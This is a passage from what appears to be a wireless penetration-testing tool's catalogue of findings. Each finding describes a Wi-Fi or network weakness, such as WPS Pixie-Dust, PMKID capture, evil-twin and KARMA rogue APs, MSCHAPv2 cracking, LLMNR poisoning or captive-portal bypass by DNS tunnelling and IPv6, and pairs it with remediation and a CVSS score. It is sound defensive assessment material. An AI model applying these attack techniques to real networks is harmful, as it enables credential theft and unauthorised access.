Remediation: Enable WPA3-Personal (SAE) or WPA2-Personal (CCMP/AES). If the network is intentionally open (guest portal, public hotspot), enforce TLS for all services, enable AP client isolation, and display a legal notice. Consider 802.11u Hotspot 2.0 / Passpoint for authenticated open networks that do not require a pre-shared key.
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
MEDIUM AETHER-015 — WPS Enabled on Access Point
Description: Wi-Fi Protected Setup (WPS) is enabled on the target AP. WPS PIN-based authentication has a fundamental design flaw: the 8-digit PIN is verified in two independent 4-digit halves, reducing the effective keyspace from 10^8 to ~11 000 attempts. Many APs are additionally vulnerable to the Pixie-Dust attack (CVE-2014-9527), which recovers the WPS PIN offline in seconds from weak nonce values. A successful WPS attack recovers the full WPA2 PSK regardless of its length or complexity.
Remediation: Disable WPS on the AP if it is not operationally required. If WPS is required, ensure the AP uses WPS 2.0 with lockout after 3 failed attempts and verify Pixie-Dust mitigation is implemented in the firmware. Apply all vendor firmware updates. Note: WPS cannot be safely enabled on APs with Broadcom or Ralink chipsets without explicit Pixie-Dust patches.
CVSS Vector: AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
MEDIUM AETHER-016 — WPA3 Transition Mode — Downgrade Attack Surface
Description: The target AP is operating in WPA3-Transition mode (WPA2/WPA3 mixed mode), simultaneously supporting both WPA2 and WPA3 clients. An attacker can deploy a rogue AP advertising only WPA2 with the same SSID. Clients configured for transition mode will connect via WPA2, exposing their 4-way handshake to standard offline dictionary cracking. This is the most practical WPA3 attack vector in real-world deployments. Tools: DragonShift, hostapd-mana.
Remediation: Migrate to WPA3-only mode when all client devices support WPA3-SAE. In the interim, enable 802.11w (PMF) as mandatory — this prevents deauthentication-based downgrade forcing. Audit which clients cannot support WPA3 and establish a remediation timeline. Consider a separate SSID for legacy WPA2 clients rather than running mixed mode on the primary SSID.
CVSS Vector: AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N
HIGH AETHER-017 — WPA PMKID / EAPOL Hash Captured
Description: hcxdumptool captured a PMKID or EAPOL hash for the target SSID without requiring a connected client or deauthentication. The PMKID is derived as HMAC-SHA1(PMK, 'PMK Name' || AP_MAC || CLIENT_MAC) and is broadcast by the AP in the first EAPOL frame. The captured hash can be subjected to unlimited offline brute-force or dictionary attacks against the WPA PSK without further access to the network.
Remediation: Change the WPA PSK to a strong, randomly-generated passphrase of at least 20 characters not present in any wordlist. Enable WPA3-SAE to replace PMKID-based authentication with the Dragonfly PAKE, which is resistant to offline attacks. If WPA3 is unavailable, enforce a minimum passphrase entropy equivalent to >128 bits (20+ random characters from a large charset).
CVSS Vector: AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N
CRITICAL AETHER-018 — MSCHAPv2 Hash Cracked via asleap
Description: asleap successfully cracked the MSCHAPv2 challenge/response captured by EAPHammer's rogue AP. MSCHAPv2 is inherently weak: the challenge is 56-bit DES-based and the response leaks the NT hash, which can be cracked offline in hours on consumer hardware. The recovered plaintext password can be used for pass-the-hash attacks against Windows/Active Directory resources, VPN authentication, and other services using the same credential.
Remediation: Migrate from PEAP/MSCHAPv2 to EAP-TLS with mutual certificate authentication, which is not susceptible to rogue AP credential capture. If MSCHAPv2 must remain in use, configure clients to validate the RADIUS server certificate against a pinned CA and reject connections on certificate mismatch. Immediately rotate all affected credentials and audit for unauthorized access using the cracked password.
CVSS Vector: AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
HIGH AETHER-019 — Rogue AP — Clients Associated to Evil Twin
Description: One or more wireless clients associated to an attacker-controlled rogue AP that cloned the target SSID and BSSID. Clients that associate with the rogue AP have all their wireless traffic visible to the attacker; any unencrypted application-layer credentials or session tokens are exposed. Clients with stored network profiles are especially vulnerable as they connect automatically.
Remediation: Deploy WPA3-SAE with PMF (802.11w) set to Required on all APs. Ensure clients validate network certificates where possible (WPA3-Enterprise or certificate-pinned supplicants). Implement wireless intrusion detection to alert on rogue APs. Educate users not to accept certificate warnings or dismiss security prompts on wireless networks.
CVSS Vector: AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:N
CRITICAL AETHER-020 — Rogue AP — WPA Pre-Shared Key Phished via Captive Portal
Description: A client associated with the rogue AP and submitted a WPA PSK via a captive portal page that mimicked the target network's authentication interface. The submitted credential was validated against the captured PMKID and confirmed as the correct pre-shared key. This attack requires no prior knowledge of the PSK and succeeds whenever a user can be deceived into re-entering their credentials after an unexpected disconnection.
Remediation: Migrate to WPA3-SAE, which is not vulnerable to this class of credential phishing attack. As an interim control, restrict PSK distribution to trusted channels and train users to be suspicious of any captive portal requesting their Wi-Fi password. Enable WIDS/WIPS to detect and block rogue APs.
CVSS Vector: AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
CRITICAL AETHER-021 — KARMA / MANA Attack — Client Credentials Captured
Description: A KARMA/MANA rogue AP responded to probe requests from clients seeking previously associated networks and captured credentials from clients that automatically connected. This attack exploits devices that broadcast previously associated SSIDs in probe requests, allowing an attacker to impersonate any remembered network and intercept authentication material.
Remediation: Configure client devices to send directed probe requests only (not broadcast) and to use random MAC addresses for probe requests. Disable auto-connect for open and low-trust networks. Enable PMF on all production networks. Ensure clients require server certificate validation before completing EAP authentication.
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
MEDIUM AETHER-022 — Protected Management Frames (PMF / 802.11w) Not Enforced
Description: The target AP does not require Protected Management Frames (PMF/802.11w). A deauthentication or disassociation frame sent by an attacker was accepted by the AP or client, demonstrating that management frames are not authenticated. This allows an attacker in radio range to force client disconnections, enabling evil twin and MITM attacks.
Remediation: Enable PMF (802.11w) set to Required on all enterprise APs. WPA3 mandates PMF by default. Verify that both AP and client supplicant support and enforce PMF. On WPA2 networks, set ieee80211w=2 in hostapd configuration.
CVSS Vector: AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H
MEDIUM AETHER-023 — BSS Transition Management (802.11v) Hijack Accepted
Description: A crafted BSS Transition Management (BTM) request (802.11v, Category 10 Action 7) was accepted by a client, causing it to roam to an attacker-specified BSSID. This attack allows an attacker to redirect clients to a rogue AP without deauthentication, potentially bypassing PMF protections on WPA2 networks that do not protect Action frames.
Remediation: Enable PMF Required (802.11w=2) to protect Action frames including BTM requests. Audit roaming policies and consider disabling 802.11v BTM on networks where roaming is not required. Upgrade affected clients and APs to firmware versions that validate BTM request authenticity.
CVSS Vector: AV:A/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:L
LOW AETHER-024 — Client Probe Request Harvest — Remembered Network Disclosure
Description: Wireless clients in the vicinity are broadcasting probe requests containing the SSIDs of previously associated networks. This information discloses the wireless networks a device has connected to, can be used for device tracking (even with MAC randomisation if implementation is flawed), and enables targeted KARMA/evil twin attacks against those specific SSIDs.
Remediation: Configure devices to send only directed probe requests to specific APs rather than broadcast probes for all remembered networks. Modern operating systems with MAC randomisation also suppress SSID disclosure in probes — ensure this feature is enabled. Remove outdated or low-trust networks from device preferred network lists.
CVSS Vector: AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
CRITICAL AETHER-025 — EAP Downgrade — Weak EAP Method Credentials Captured
Description: EAPHammer with balanced negotiation captured credentials by accepting a weaker EAP method (e.g. PEAP/MSCHAPv2 or EAP-MD5) offered by a client whose supplicant was not locked to a specific EAP type. MSCHAPv2 hashes obtained this way can be cracked offline or relayed directly to Windows domain services without cracking.
Remediation: Lock client supplicants to a specific permitted EAP method and enforce server certificate validation. Disable weaker EAP types (PEAP/MSCHAPv2, EAP-FAST without PAC validation, EAP-MD5) at both the RADIUS server and client policy levels. Migrate to EAP-TLS with mutual certificate authentication where possible.
CVSS Vector: AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
MEDIUM AETHER-026 — SAE Transition Mode — WPA2 Downgrade Attack Surface
Description: The target AP operates in WPA3/WPA2 transition mode and a WPA2-only rogue AP was created with the same SSID. Clients supporting both WPA3-SAE and WPA2-PSK may associate with the rogue WPA2-only AP, losing the security guarantees of SAE. This enables legacy WPA2 attacks including PMKID capture and handshake-based cracking against previously WPA3-protected clients.
Remediation: Disable WPA3/WPA2 transition mode and enforce WPA3-SAE only once all clients support it. If transition mode is required, enable PMF Required (802.11w=2) on both the WPA2 and WPA3 BSSIDs. Implement WIDS to detect duplicate SSIDs advertising different security capabilities.
CVSS Vector: AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:N
HIGH AETHER-027 — ARP Cache Poisoning — MITM Position Established
Description: ARP cache poisoning was successfully performed on the rogue AP's subnet, placing the assessment system in a man-in-the-middle position between wireless clients and the gateway. All unencrypted traffic (HTTP, FTP, Telnet, legacy protocols) was readable, and encrypted traffic was subject to downgrade or stripping attacks. This demonstrates the risk of any attack scenario where a client can be induced to join an attacker-controlled network.
Remediation: Enable Dynamic ARP Inspection (DAI) on managed switches. Deploy HTTPS Strict Transport Security (HSTS) and HSTS preloading to prevent protocol downgrade. Ensure all internal services use TLS. On wireless networks, WPA3-SAE with PMF prevents the initial rogue AP association that enables this attack.
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
HIGH AETHER-028 — LLMNR / NBT-NS Poisoning — NTLMv2 Hashes Captured
Description: Responder successfully poisoned LLMNR (Link-Local Multicast Name Resolution) and/or NBT-NS (NetBIOS Name Service) queries on the rogue AP's subnet and captured NTLMv2 challenge/response hashes from Windows clients attempting to resolve non-existent hostnames. These hashes can be cracked offline or used in NTLM relay attacks to authenticate to internal services without cracking.
Remediation: Disable LLMNR via Group Policy: Computer Configuration → Administrative Templates → Network → DNS Client → Turn Off Multicast Name Resolution = Enabled. Disable NBT-NS via WINS settings on the IPv4 adapter: disable NetBIOS over TCP/IP. Implement SMB signing to prevent NTLM relay attacks. Monitor for and alert on unexpected LLMNR/NBT-NS query responses.
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
INFO AETHER-029 — Internal Hosts Discovered via Post-Connection Port Scan
Description: An nmap scan of the wireless subnet revealed live hosts and open services accessible to wireless clients. This establishes the attack surface available to any client (authorised or rogue) that connects to the wireless network. Services accessible from the wireless segment without additional segmentation represent a potential lateral movement path.
Remediation: Implement network segmentation: place the wireless network in a dedicated VLAN with firewall rules restricting access to internal services. Apply the principle of least privilege — wireless clients should only be able to reach services required for their function. Disable unnecessary services on hosts and implement host-based firewalls.
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
MEDIUM AETHER-030 — TKIP Encryption in Use
Description: The target network uses TKIP (Temporal Key Integrity Protocol), a deprecated encryption scheme that was introduced as a quick fix for WEP and was officially deprecated by the IEEE 802.11 standard in 2012. TKIP is vulnerable to the Beck-Tews and Ohigashi-Morii attacks (ChopChop/fragmentation), allowing an attacker to partially decrypt and inject short packets without the key.
Remediation: Disable TKIP and require CCMP (AES) as the only permitted pairwise cipher. Set rsn_pairwise=CCMP and wpa_pairwise=CCMP in hostapd configuration, or equivalent settings in the AP's admin interface. Remove WPA1/TKIP-only client support — all modern clients support CCMP.
CVSS Vector: AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N
HIGH AETHER-031 — TKIP ChopChop / Fragmentation Attack — Packet Decryption Confirmed
Description: A TKIP ChopChop or fragmentation attack (Beck-Tews / Ohigashi-Morii) was confirmed against the target network. An attacker can exploit this to decrypt the last 12 bytes of an arbitrary short packet without knowing the key, and to inject up to 7 or 14 bytes of attacker-chosen plaintext per minute. This enables ARP poisoning, DNS spoofing, and decryption of short high-value packets (e.g. ARP replies, DNS responses) on WPA-TKIP networks.
Remediation: Immediately disable TKIP. Migrate the network to WPA2 or WPA3 using only CCMP (AES) as the pairwise cipher. Do not allow TKIP as a fallback cipher for any client.
CVSS Vector: AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
LOW AETHER-032 — Wi-Fi Direct / P2P Device Discovered
Description: A Wi-Fi Direct (P2P) capable device was discovered in the assessment area. Wi-Fi Direct devices create their own access point interfaces and may accept WPS-PIN connections independently of the corporate wireless infrastructure, bypassing network access controls and firewall policies. If WPS-PIN is enabled, the device may be vulnerable to the Pixie Dust or online WPS brute-force attacks.
Remediation: Disable Wi-Fi Direct on corporate devices via MDM or Group Policy where the feature is not required. If Wi-Fi Direct is necessary, ensure WPS-PIN is disabled and only WPS-PBC (push button) is permitted. Audit firmware for Wi-Fi Direct devices and apply vendor security updates.
CVSS Vector: AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
HIGH AETHER-033 — Wi-Fi Direct WPS PIN Cracked — Device Compromised
Description: The WPS PIN for a Wi-Fi Direct device was recovered via reaver or a Pixie Dust offline attack. An attacker with this PIN can authenticate to the device's P2P group owner and gain network-level access to the device, potentially enabling access to shared files, printers, or other services exposed over the P2P connection.
Remediation: Disable WPS on all Wi-Fi Direct capable devices. If WPS must remain enabled for operational reasons, disable PIN mode and use only WPS-PBC (push button) with physical access controls. Apply vendor firmware updates to devices vulnerable to Pixie Dust.
CVSS Vector: AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
HIGH AETHER-CAP-DNS-EXTERNAL — Captive Portal: External DNS Resolution Pre-Authentication
Description: Unauthenticated clients on the open SSID can resolve arbitrary hostnames via external DNS resolvers (e.g. 1.1.1.1, 8.8.8.8) before completing captive portal authentication. The portal is enforcing only at the HTTP/HTTPS layer.
Impact: DNS leakage pre-auth is the foundation for DNS tunneling (iodine, dnscat2) — an attacker can establish a full-duplex tunnel encapsulating arbitrary IP traffic in DNS queries, completely bypassing the portal's billing, AAA, and content controls. Often invisible to the portal vendor's logging because DNS query payloads are not inspected.
Remediation: Block all outbound DNS (UDP/TCP port 53) from unauthenticated guest VLANs except to the captive portal's own resolver, which should only answer for the portal's hostname. Most captive portal vendors (Meraki, Aruba, Ubiquiti) expose a 'walled garden DNS' setting that restricts pre-auth DNS to a tightly-scoped allowlist; enable it.
Effort: Easy
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
MITRE ATT&CK: T1071.004 (Command and Control)
NIST 800-53: AC-3, AC-4, SC-7
PCI DSS 4: 1.2.1, 1.4.2
CRITICAL AETHER-CAP-DNS-TUNNEL — Captive Portal: DNS Tunneling Viability Confirmed
Description: A long random-subdomain DNS query (40 chars, characteristic of DNS tunneling tools) was successfully forwarded by the captive portal's network to an external resolver. This proves DNS tunneling tools (iodine, dnscat2, dns2tcp) can establish a covert channel through the portal.
Impact: Full data exfiltration and full-duplex C2 channel through the captive portal without any authentication. The attacker gains arbitrary internet access, can exfiltrate sensitive data, and can serve as a pivot for lateral movement. Portal billing/AAA is completely bypassed. Detection requires DNS payload inspection that most captive portal implementations lack.
Remediation: Restrict pre-auth DNS to the captive portal's own resolver answering only for the portal's hostname (walled-garden DNS). Additionally deploy DNS query length / entropy monitoring to detect tunneling attempts (queries with high-entropy subdomains >30 chars are characteristic of iodine/dnscat traffic). Consider a DNS sinkhole for unknown external resolvers.
Effort: Moderate
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
MITRE ATT&CK: T1071.004 (Command and Control), T1572 (Command and Control), T1048.003 (Exfiltration)
NIST 800-53: AC-3, AC-4, SC-7, SI-4
PCI DSS 4: 1.2.1, 1.4.2, 11.5.1
MEDIUM AETHER-CAP-HTTP-DIRECT — Captive Portal: Direct HTTP to Arbitrary IP Pre-Authentication
Description: Direct HTTP to an arbitrary IP address (without DNS lookup) succeeded from an unauthenticated client. The captive portal is filtering by Host header / DNS rather than at the IP-egress layer.
Impact: Attacker can reach any internet host on port 80 without authenticating. While bandwidth is the primary asset stolen here, this also enables retrieval of subsequent-stage payloads, beaconing, and reach to attacker-controlled HTTP infrastructure on commodity IPs.
Remediation: Confirm the captive portal applies its HTTP redirect to ALL outbound HTTP traffic (port 80), not only requests with specific Host headers. Many vendors only intercept HTTP redirects, leaving direct IP-addressed HTTP (curl http://1.1.1.1/) unblocked. Move enforcement to the IP layer with explicit deny rules in the firewall for the unauthenticated VLAN.
Effort: Easy
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
MITRE ATT&CK: T1071.001 (Command and Control)
NIST 800-53: AC-3, AC-4
PCI DSS 4: 1.2.1
MEDIUM AETHER-CAP-HTTPS-DIRECT — Captive Portal: Direct HTTPS to Arbitrary IP Pre-Authentication
Description: Direct HTTPS to an arbitrary IP address succeeded from an unauthenticated client. The captive portal does not block outbound port 443 pre-authentication.
Impact: Attacker can establish encrypted connections to arbitrary internet hosts (C2, exfil, content delivery, VPN-over-HTTPS) without authenticating. Because the channel is encrypted, the portal vendor has no visibility into what's being transferred. Often easier to exploit than HTTP bypass because portal vendors typically focus interception on the HTTP redirect layer.
Remediation: HTTPS bypass is harder for portals to intercept than HTTP because TLS cannot be transparently redirected — block port 443 outbound from the unauthenticated VLAN entirely until authentication completes. Inspect the captive portal vendor's documentation for the 'block all egress until auth' or 'pre-authentication firewall mode' setting.
Effort: Easy
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
MITRE ATT&CK: T1071.001 (Command and Control), T1573 (Command and Control)
NIST 800-53: AC-3, AC-4
PCI DSS 4: 1.2.1
HIGH AETHER-CAP-IPV6 — Captive Portal: IPv6 Dual-Stack Bypass
Description: Direct outbound traffic over IPv6 succeeded from an unauthenticated client on the open SSID, while IPv4 traffic was (or would have been) intercepted by the captive portal. This is the classic dual-stack misconfiguration: the portal filters v4 only.
Impact: The portal's entire access control model is bypassed via IPv6. Unauthenticated clients have full internet access without billing, AAA, or content controls — only via v6. Often invisible in portal vendor consoles that report v4-only statistics. Because v6 connectivity to major content destinations (Cloudflare, Google, Apple, AWS) is widely available, this is a fully practical bypass.
Remediation: Apply identical pre-authentication filtering rules to BOTH IPv4 and IPv6 traffic on the guest VLAN. Many captive portal vendors only filter IPv4 by default — IPv6 advertisements (RAs) leak the v6 prefix to clients which then route around the portal entirely. Either: (a) disable IPv6 on the guest VLAN (RA Guard + suppress RAs), or (b) deploy matching ip6tables/PBR rules. PCI-DSS 4.0 §1.4.5 explicitly requires controls on all network protocols including IPv6.
Effort: Moderate
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
MITRE ATT&CK: T1071.001 (Command and Control)
NIST 800-53: AC-3, AC-4, SC-7
PCI DSS 4: 1.2.1, 1.4.2
MEDIUM AETHER-034 — Captive Portal Bypass Confirmed
Description: The target captive portal was bypassed using one or more techniques: DNS tunnelling (exfiltrating data via DNS queries to an external resolver), MAC address spoofing (cloning the MAC of an already-authenticated client), or direct HTTPS access to allowed domains before portal authentication. This allows an attacker to gain full internet access without completing the required authentication or payment flow.
Remediation: Enforce captive portal controls at the IP layer rather than relying solely on DNS. Block all outbound DNS except to the captive portal resolver. Implement MAC address validation in conjunction with IP binding and session tokens. Use HTTPS for the captive portal itself to prevent credential interception.
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
INFO AE-001 — Multiple APs Broadcasting SSID: {ssid_label}
INFO AE-002 — WPA Handshake / PMKID Captured: {ssid}
INFO AE-003 — WPA Pre-Shared Key Cracked via Deauth: {ssid}
INFO AE-004 — WPA Pre-Shared Key Cracked: {ssid}
INFO AE-005 — WPS PIN / Pixie Dust Succeeded: {ssid}
HIGH AETHER-CERT-001 — Weak Server Certificate Algorithm or Key Length
Description: The RADIUS server certificate used for EAP-TLS (or PEAP/TTLS server validation) uses a signature algorithm or RSA key length that is below current cryptographic best practice. SHA-1 and MD5 signatures are deprecated; RSA keys shorter than 2048 bits are considered weak.
Impact: Compromise of the server's private key allows an attacker to impersonate the RADIUS server, present a valid-looking cert to clients, and capture EAP credentials or downgrade authentication. The longer the weak cert remains in service the higher the chance of a key-compromise event being undetected.
Remediation: Re-issue the RADIUS server certificate using SHA-256 or stronger signature algorithm and a 2048-bit RSA key (or ECDSA P-256 / P-384). Rotate via the existing certificate-management workflow without a service window where possible. Verify clients trust the new chain before retiring the old cert.
Effort: Easy
NIST 800-53: SC-13, SC-17
MEDIUM AETHER-CERT-002 — Server Certificate Expired or Expiring Soon
Description: The RADIUS server certificate has either passed its Not After date (expired) or is within 30 days of expiry. EAP-TLS authentication fails closed when the server cert expires, causing service outage for all wireless clients.
Impact: Service outage at expiry. Pressure to rapidly issue a replacement cert can lead to operational shortcuts (e.g., re-using the same private key, choosing a longer-than-policy validity, omitting cert pinning verification).
Remediation: Replace the cert immediately. Add 60-day-prior and 30-day-prior monitoring alerts to the cert lifecycle process. Document the renewal procedure in the wireless operations runbook.
Effort: Easy
MEDIUM AETHER-CERT-003 — Server Certificate Self-Signed or From Unrecognised CA
Description: The RADIUS server certificate is self-signed (Subject == Issuer) or issued by a CA not present in the standard public root store. While valid for internal deployments, this requires every client to be explicitly configured to trust the specific cert or CA — a common misconfiguration vector.
Impact: Clients with poor cert-validation configuration ("Trust Any Certificate" or no CA pin) will accept ANY self-signed cert presented by a rogue authenticator. Evil-twin attacks become trivially successful.
Remediation: Either move to a public-CA-signed cert OR enforce CA pinning + 'Validate server certificate' = ON across all client supplicants via MDM / GPO policy. Document the cert thumbprint and require clients to verify against it.
Effort: Moderate
MEDIUM AETHER-CERT-004 — Server Certificate Issuer Reveals Internal CA Infrastructure
Description: The Issuer field of the RADIUS server certificate contains terms suggesting an internal Certificate Authority (e.g., CN=corp-CA-01, CN=AD-CA, CN=Internal-Root). This is informational reconnaissance value — it confirms the existence and naming convention of an internal PKI.
Impact: An attacker learns the internal CA naming convention, which feeds into Active Directory / network-topology reconnaissance. Combined with other findings (cert SAN disclosure, EAP identity leakage) the attacker maps the corporate auth infrastructure without authenticated access.
Remediation: Use a public-CA-signed cert for the RADIUS server. Where internal CA must be used, anonymise the Issuer CN to avoid topology disclosure (CN=Auth-Services-01 rather than CN=corp-AD-CA-01).
Effort: Moderate
LOW AETHER-CERT-005 — Server Cert SAN Reveals Internal RADIUS Hostnames
Description: The Subject Alternative Name field of the RADIUS server cert contains hostnames suggesting RADIUS server infrastructure (radius.corp.local, nps01.corp.local, ise-pdp.corp.local). This is information disclosure of internal naming conventions.
Impact: Reveals the internal hostname pattern and number of RADIUS servers in the deployment. Useful reconnaissance for an attacker who later gains internal access and wishes to target the auth infrastructure directly.
Remediation: Move RADIUS servers behind an anonymised public hostname (auth.example.com) for SAN purposes, or omit internal hostnames from the cert SAN when they don't need to be reachable by name.
Effort: Moderate
INFO AETHER-CERT-006 — Server Certificate Uses Strong Modern Algorithm (Positive)
Description: The RADIUS server certificate uses SHA-256 or stronger signature, RSA-2048 or stronger (or ECDSA), is signed by a recognised public CA, is currently valid, and does not disclose internal infrastructure naming. Positive vendor security observation.
Impact: Confirms the cryptographic posture of the wireless authentication infrastructure meets current standards. Reduces the value of cert-based attacks (key cracking, downgrade) to negligible.
Remediation: Maintain the current certificate-management posture. Document the issuance procedure in the operations runbook to ensure replacements maintain the same standards.
Effort: n/a
INFO AETHER-INFO-CERT-CAPTURED — Server Certificate Captured From EAP Exchange
Description: A server certificate presented during an EAP-TLS / PEAP / TTLS exchange was captured passively from observed wireless traffic and exported for analysis. This is the data-gathering step for the cert-grading findings (AETHER-CERT-001 through 006).
Impact: Provides engagement-evidence attribution for any cert-related finding emitted. Confirms the cert chain was visible to a passive on-path observer (which is normal for TLS server certs but worth recording).
Remediation: No action required — informational only. Cross-reference with findings AETHER-CERT-001 through AETHER-CERT-006 for the grading outcome.
Effort: n/a
MEDIUM AETHER-EAPTLS-001 — EAP Outer Identity Leaks User-Realm Format
Description: The EAP-Response/Identity message (the OUTER EAP identity sent in cleartext before TLS negotiation) contains a username component (user@realm) rather than the recommended anonymous@realm or @realm form. This leaks usernames to any passive on-path observer.
Impact: Reveals the entire active user population to anyone in RF range. Combined with username-enumeration findings on other systems (Active Directory, email server) this is a high-value reconnaissance source for credential-spray attacks.
Remediation: Configure all supplicants to use an anonymous outer identity. On Windows GPO: Wireless Network (IEEE 802.11) Policies → properties → Security → Settings → Advanced → Enable Identity Privacy. On Linux NetworkManager: anonymous_identity setting. On macOS / iOS: configure via MDM profile.
Effort: Moderate
CRITICAL AETHER-EAPTLS-002 — Client Supplicant Fails to Validate Server Certificate (Evil Twin Succeeds Against EAP-TLS)
Description: An evil-twin rogue AP with a self-signed cert successfully attracted a client supplicant which proceeded past server-cert validation. Even though EAP-TLS's cert exchange is bidirectional, the client should have rejected the unknown server cert. This indicates the client's 'Validate server certificate' setting is disabled, OR the trust store accepts the rogue self-signed cert (e.g., set to 'any CA').
Impact: Defeats the entire benefit of EAP-TLS. The attacker can capture the client's identity, fingerprint the client device, and in PEAP/TTLS configurations capture credentials. The vulnerable client cannot distinguish the corp RADIUS from the rogue AP.
Remediation: Push a hardened supplicant configuration to all clients via MDM/GPO: 'Validate server certificate' = ON; CA pinned to specific public-CA root or internal CA cert thumbprint; reject any cert signed by an unknown CA. Audit current client configurations and remediate non-compliant devices.
Effort: Moderate
NIST 800-53: IA-2, IA-5
MEDIUM AETHER-EAPTLS-003 — Client Supplicant Attempts Authentication Against Rogue AP
Description: A client supplicant attempted EAP authentication against an unauthorised AP impersonating the corporate SSID, then aborted when server cert validation failed. The cert validation worked correctly (positive sub-finding), but the connection attempt itself reveals the client's interest in the SSID and exposes the client MAC address and outer identity to the attacker.
Impact: Attacker harvests client MAC addresses, vendor OUI, and outer identity strings without breaking authentication. Useful for client-side targeting and reconnaissance even when the cert exchange is rejected.
Remediation: Configure clients to scrutinise the BSSID of authorised APs (not just SSID), and apply MAC-based scoping in the supplicant where the platform supports it. Reduce SSID broadcast attractor surface (e.g., disable beacon broadcast on the corp SSID if a hidden-SSID model is preferred).
Effort: Moderate
INFO AETHER-MERAKI-001 — Meraki Infrastructure Identified
Description: One or more wireless APs in scope identified as Cisco-Meraki by MAC OUI prefix or vendor-specific IE pattern. Contextual recon — establishes the vendor / product family for the rest of the assessment.
Impact: Drives vendor-specific test selection (iPSK testing, Systems Manager enrollment recon, Meraki-specific firmware advisories cross-reference).
Remediation: No action required — informational only. Cross-reference with the Meraki advisory feed for the identified product line to verify the firmware in use is patched against known issues.
Effort: n/a
INFO AETHER-MERAKI-002 — Meraki Beacon IE Captured for Fingerprinting
Description: The vendor-specific Information Element from a Meraki AP beacon was captured for offline fingerprinting / firmware-version identification. Most modern Meraki firmware reveals its major version family in beacon IE patterns.
Impact: Drives the next finding (Meraki firmware version) by allowing offline cross-reference against Cisco's firmware advisory database.
Remediation: No action — informational only.
Effort: n/a
INFO AETHER-MERAKI-003 — Multiple SSIDs On Shared Physical AP
Description: Multiple SSIDs share a common BSSID prefix, indicating they are virtual SSIDs on the same physical Meraki AP radio. If any single SSID's security is weaker than the others, an attacker who compromises the weak SSID may pivot to wireless infrastructure shared with the cert-auth SSIDs.
Impact: Informational on its own; gains weight when paired with successful attacks against any of the listed SSIDs. Useful context for VLAN-isolation testing (an adjacent PSK SSID succeeding combined with shared-AP infrastructure is a HIGH risk path).
Remediation: Verify VLAN isolation between all SSIDs on the same physical AP. Test from the weakest SSID to ensure no lateral movement is possible to the cert-auth segment.
Effort: n/a
INFO AETHER-MERAKI-004 — Meraki Systems Manager Domain Referenced in Client Traffic
Description: Client DHCP/DNS probe analysis observed references to meraki.com, air-marshal.meraki.com, or Meraki Systems Manager enrollment URLs. Confirms Meraki cloud management is in use and SM-enrolled devices are present.
Impact: Provides context for the cloud-management plane that complements the device-side wireless assessment. SM-enrolled devices have cert-based EAP-TLS supplicant configurations distributed via the SM profile.
Remediation: No action — informational only.
Effort: n/a
HIGH AETHER-IPSK-001 — iPSK MAC-Inheritance Test Succeeded
Description: On a Meraki SSID using Identity PSK (iPSK), the test confirmed that authentication is keyed primarily on MAC address — spoofing a known iPSK-issued MAC inherits the PSK assigned to the original device.
Impact: An attacker who observes a single legitimate device's MAC address can clone the MAC and authenticate to the SSID using the inherited PSK without ever cracking it. Effectively eliminates the per-device PSK assumption.
Remediation: Combine iPSK with additional binding signal (device cert via SM, RADIUS-issued cookie). Validate that the Meraki dashboard's iPSK assignment policy includes RADIUS-based MAC validation rather than local-DB MAC-only lookup.
Effort: Moderate
NIST 800-53: IA-2, IA-3
MEDIUM AETHER-IPSK-002 — iPSK Suspected — Per-Client PMKID Variance Observed
Description: Multiple clients associated to the same WPA2-PSK SSID exhibited distinct PMKIDs in captured EAPOL frames. This is the structural signature of Identity PSK (each client has its own PSK and therefore its own PMK). Distinguishes iPSK from standard shared-PSK WPA2.
Impact: Confirms an iPSK deployment is in use. If unique-per-device PSK assignment is the security posture being relied on, the MAC-inheritance test (AETHER-IPSK-001) is the natural follow-on validation.
Remediation: No action — informational confirmation. Use as supporting evidence for AETHER-IPSK-001 and AETHER-IPSK-003 findings.
Effort: n/a
MEDIUM AETHER-IPSK-003 — iPSK SSID Deployed Alongside Cert-Auth SSID on Same Physical AP
Description: An iPSK SSID shares a physical AP with a cert-authenticated SSID. The wireless infrastructure security posture is now bounded by the WEAKER of the two — if VLAN isolation is misconfigured, compromise of iPSK leads to access in the cert-auth segment's broadcast domain.
Impact: The cert-auth SSID's strong authentication is only as effective as the network segmentation it sits behind. iPSK-derived access can become lateral movement opportunity.
Remediation: Verify per-SSID VLAN isolation, switchport ACLs, and inter-VLAN routing controls. Conduct a post-authentication test from the iPSK SSID specifically looking for visibility of cert-auth-segment hosts.
Effort: Moderate
MEDIUM AETHER-SPLASH-001 — Captive Portal Session Bound To MAC Alone
Description: The captive portal (splash page) session is identified by the client's MAC address alone, with no secondary binding. An attacker who observes a legitimate authenticated client's MAC can spoof it to inherit the splash session.
